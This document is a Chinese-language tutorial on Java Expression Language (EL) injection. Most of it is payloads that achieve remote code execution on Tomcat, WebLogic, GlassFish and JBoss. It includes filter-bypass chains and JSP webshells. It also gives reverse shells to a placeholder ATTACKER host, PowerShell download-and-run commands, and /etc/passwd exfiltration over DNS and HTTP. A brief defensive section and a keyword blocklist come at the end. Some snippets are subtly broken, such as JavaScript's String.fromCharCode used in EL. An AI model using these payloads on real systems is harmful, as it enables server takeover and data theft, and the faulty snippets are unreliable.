一、EL 表达式语言概述
EL(Expression Language)是 Java EE 规范中用于在 JSP/Facelets 页面中动态访问数据的语言。它语法简单,但在不安全配置下可以执行任意 Java 代码。
1.1 EL 的两种写法
<%-- JSP 页面中的 EL --%>
<!-- ${...} 形式 -->
<%= request.getParameter("name") %>
Hello, ${param.name}!
<!-- #{...} 形式(JSF/Facelets,延迟求值) -->
<h:outputText value="#{user.name}" />
<!-- 直接输出到页面 -->
${applicationScope['javax.servlet.context.tempdir']}
1.2 EL 执行引擎
import javax.el.*;
// Java 代码中手动使用 EL
ELProcessor processor = new ELProcessor();
ELManager manager = processor.getELManager();
manager.setExpressionFactory(ELProcessor.class.getClassLoader()
.loadClass("javax.el.ELProcessor").getClassLoader());
// 执行 EL 表达式
Object result = processor.eval("1 + 2"); // 3
Object result2 = processor.eval("'hello'.toUpperCase()"); // "HELLO"
// 危险: 执行任意方法
processor.eval("Runtime.getRuntime().exec('whoami')"); // RCE!
二、Tomcat EL 注入
2.1 Tomcat 版本差异
Tomcat EL 实现版本:
- Tomcat 6.0 → EL 1.0 (javax.el)
- Tomcat 7.0 → EL 2.2 (javax.el)
- Tomcat 8.0 → EL 3.0 (javax.el → javax.el API)
- Tomcat 8.5 → EL 3.0
- Tomcat 9.0 → Jakarta EL 3.0 (jakarta.el)
- Tomcat 10.x → Jakarta EL 4.0+
关键 EL 版本差异:
EL 2.x: 支持 .class 属性访问
EL 3.0: 支持 Lambda 和更多特性
更高版本: 可能有安全限制
2.2 经典 Payload(${...} 形式)
``
// 基本命令执行
${applicationScope['javax.servlet.context.tempdir'].toPath().toFile().delete()}
// 获取 Runtime
${applicationScope}
${applicationScope['']}
${applicationScope.getClass()}
${applicationScope.getClass().forName('java.lang.Runtime')}
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime')}
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)}
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
// 更简洁: 使用 param
${param}
${param.constructor}
${param.constructor.forName('java.lang.Runtime')}
${param.constructor.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
``
2.3 Tomcat 7 ELProcessor 入口
// Tomcat 7 默认暴露 ELProcessor(某些配置)
// 入口类: org.apache.catalina.core.AprLifecycleListener
// 或者 JSP 中直接 eval
// 通过 JSP 执行 EL
<%@ page import="javax.el.*" %>
<%
ELProcessor processor = new ELProcessor();
processor.eval("Runtime.getRuntime().exec('whoami')");
%>
// 通过 JMX MBean 调用
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("*:type=WebModule,*");
// 找到相关 MBean 并调用表达式评估
// 通过 JSPX 表达式
<jsp:expression>
Runtime.getRuntime().exec("whoami")
</jsp:expression>
2.4 JSP 直接调用 EL
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="javax.el.*" %>
<%@ page import="java.lang.reflect.*" %>
<!-- 方式 1: 直接 Runtime.exec -->
<% Runtime.getRuntime().exec("whoami"); %>
<!-- 方式 2: ELProcessor eval -->
<%
ELProcessor elp = new ELProcessor();
elp.eval("Runtime.getRuntime().exec('whoami')");
%>
<!-- 方式 3: applicationScope 反射 -->
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
<!-- 方式 4: param 反射 -->
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
<!-- 方式 5: sessionScope -->
${sessionScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
<!-- 方式 6: requestScope -->
${requestScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
三、EL 注入绕过技巧
3.1 单双引号过滤
``
// 单引号被过滤 → 用双引号
${param.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("whoami")}
// 单双引号都被过滤 → 用 .class 和索引访问
${param[class]} // 不行,class 是关键字
// 用 getClass() 的返回值
${param.getClass().getPackage().getName()} // 间接访问
// 使用 charCode 数组构造字符串
${[119,104,111,97,109,105].stream().map(c->String.fromCharCode(c)).reduce((a,b)->a+b).get()}
// 需要 EL 3.0+ Lambda 支持
``
3.2 Runtime 类过滤绕过
``
// Runtime 类被过滤 → 用 ProcessBuilder
${param.getClass().forName('java.lang.ProcessBuilder').getConstructor(String[].class).newInstance(new Object[]{new String[]{"/bin/sh","-c","whoami"}}).start()}
// 或者 ClassLoader
${param.getClass().forName('java.net.URLClassLoader').getConstructor(URL[].class).newInstance(new Object[]{new URL[]{new URL('http://attacker.com/evil.jar')}})}
// 反射 Class.forName
${param.getClass().getSuperclass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
// 用 Method.invoke 直接获取
${param.getClass().forName('java.lang.Class').getMethod('forName', String.class).invoke(null, 'java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
``
3.3 #{} vs ${} 形式
``
// 某些配置下 ${} 被转义,但 #{} 不会
#{param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
// 某些场景下需要延迟求值才能触发
// JSF: #{...} 每次访问都求值
// JSP: ${...} 立即求值
// Tomcat 特殊 Payload(绕过某些过滤器)
${request.getClass().getClassLoader().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
``
四、实战利用链
4.1 通过 JSP 上传触发
``
- 找到文件上传功能
- 尝试上传 JSP 文件
- 如果扩展名被过滤,尝试双后缀 / 解析漏洞
- 上传包含 EL 注入的 JSP
- 访问上传后的 JSP 触发命令执行
// 最简 JSP WebShell
<%@ page import="java.io.*"%>
<%
Runtime.getRuntime().exec(request.getParameter("c"));
%>
// 带输出回显
<%@ page import="java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line + "
");
%>
``
4.2 EL + 反序列化
``java
// EL 注入与反序列化结合(某些框架会自动 eval EL)
// 如果 ELProcessor 从反序列化数据中恢复表达式
// 反序列化入口触发 EL 执行
// 常见: Jackson + @JsonCreator 配合 EL 解析器
{"expression": "${Runtime.getRuntime().exec('whoami')}"}
// → 应用将 expression 字段传入 ELProcessor → RCE
// XStream + EL
// XStream 反序列化可以触发动态方法调用
Runtime.getRuntime().exec('whoami')
``
4.3 完整反弹 Shell Payload
``
// 方式 1: 直接反弹
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')}
// 方式 2: 使用 nc
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('nc -e /bin/bash ATTACKER 4444')}
// 方式 3: PowerShell
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('powershell -c IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")')}
// 方式 4: 外带数据
// DNS Tunnel
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('nslookup $(cat /etc/passwd).attacker.com')}
// HTTP 外带
${param.getClass().forName('java.net.URL').getConstructor(String.class).newInstance('http://ATTACKER/?d='+param.getClass().forName('java.io.File').getConstructor(String.class).newInstance('/etc/passwd').toString()).openConnection()}
``
五、WebLogic / GlassFish EL
5.1 WebLogic EL
``
// WebLogic 10.3.6 - 12.x EL 注入(CVE-2015-4852)
// 反序列化 Payload
// Payload: 通过 CommonsCollections 触发 ELProcessor
// org.apache.commons.collections.functors.InvokerTransformer
// → Runtime.exec
// 方式 2: 直接 EL 表达式
// WebLogic 某些版本支持:
${applicationScope.SUN_JSP_TMPDIR} // 获取临时目录
// WebLogic T3 协议反序列化
// T3 协议暴露的 RMI 服务接受 Java 对象
// ysoserial CommonsCollections payload 可直接打
java -jar ysoserial.jar CommonsCollections5 'whoami' | nc target 7001
``
5.2 GlassFish / Payara EL
``
// GlassFish 反序列化漏洞 (CVE-2014-0415 系列)
// 利用链: ELProcessor + InvocationHandler
// Payload 核心:
// 构造一个 InvocationHandler,invoke 方法中调用 Runtime.exec
// 放入反序列化的对象图中
// 当对象被调用 compareTo() 等方法时触发
// Payload 结构:
// 1. PriorityQueue + 自定义 Comparator (InvocationHandler)
// 2. TreeMap + 自定义 Entry (InvocationHandler)
// 3. 任何可序列化对象 + readObject() 中触发 EL
``
5.3 JBoss EL 注入
``
// JBoss (WildFly) EL 注入
// JMX 暴露的表达式评估器
// JBoss 控制台 -> jconsole -> 连接 -> ExpressionEvaluator MBean
// invoke evaluateExpression 传入恶意 EL
// 常见入口:
http://target:8080/jmx-console/
http://target:9990/management
// JBoss Remoting 协议反序列化
// 同样可以用 ysoserial
java -jar ysoserial.jar CommonsCollections5 'whoami' | nc target 4447
``
六、防御
6.1 禁用 EL
``xml
*.jsp true<%@ page isELIgnored="true" %>
``
6.2 限制 EL 能力
``java
// ELResolver 限制
CompositeELResolver resolver = new CompositeELResolver();
// 添加受限的 resolver,不暴露危险对象
// 使用 SecurityELResolver
// Apache Commons EL 提供了基于 JAAS 的安全解析器
// 自定义 ELContext 限制可访问属性
ELContext context = new ELContext() {
@Override
public ELResolver getELResolver() {
return new SafeELResolver(); // 只允许安全属性
}
// ...
};
``
6.3 输入验证
``java
// 白名单: 只允许简单属性访问
Pattern safePattern = Pattern.compile("^${[a-zA-Z0-9_.[]]+}$");
if (!safePattern.matcher(userInput).matches()) {
throw new SecurityException("Invalid EL expression");
}
// 黑名单: 过滤危险关键字
String[] blocked = {"Runtime", "exec", "ProcessBuilder", "Class.forName",
"javax.naming", "InitialContext", "java.lang.Class",
"getMethod", "invoke", "forName"};
for (String word : blocked) {
if (userInput.contains(word)) {
throw new SecurityException("Blocked: " + word);
}
}
``
七、总结
EL 注入的核心技巧:
- 获取 Runtime:
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')} - 找反射入口:param / applicationScope / sessionScope 等隐式对象的 .class
- 绕过过滤:ProcessBuilder 替代 Runtime、ClassLoader 替代 Class.forName
- 完整 RCE:Runtime.exec + /bin/sh -c + 反弹 shell
- 与反序列化结合:CommonsCollections + ELProcessor 组合利用链
EL vs SpEL vs OGNL 对比:
| 表达式语言 | 典型场景 | RCE 入口 | 复杂度 |
|---|---|---|---|
| EL | JSP / Java EE | ${param.getClass().forName(...)} | 中等 |
| SpEL | Spring / Actuator | T(java.lang.Runtime).getRuntime().exec(...) | 简单 |
| OGNL | Struts2 | #rt=@java.lang.Runtime@getRuntime() | 简单 |
| MVEL | Drools / JBoss | Runtime.getRuntime().exec(...) | 简单 |
| Groovy | Jenkins / Gradle | "whoami".execute() | 最简单 |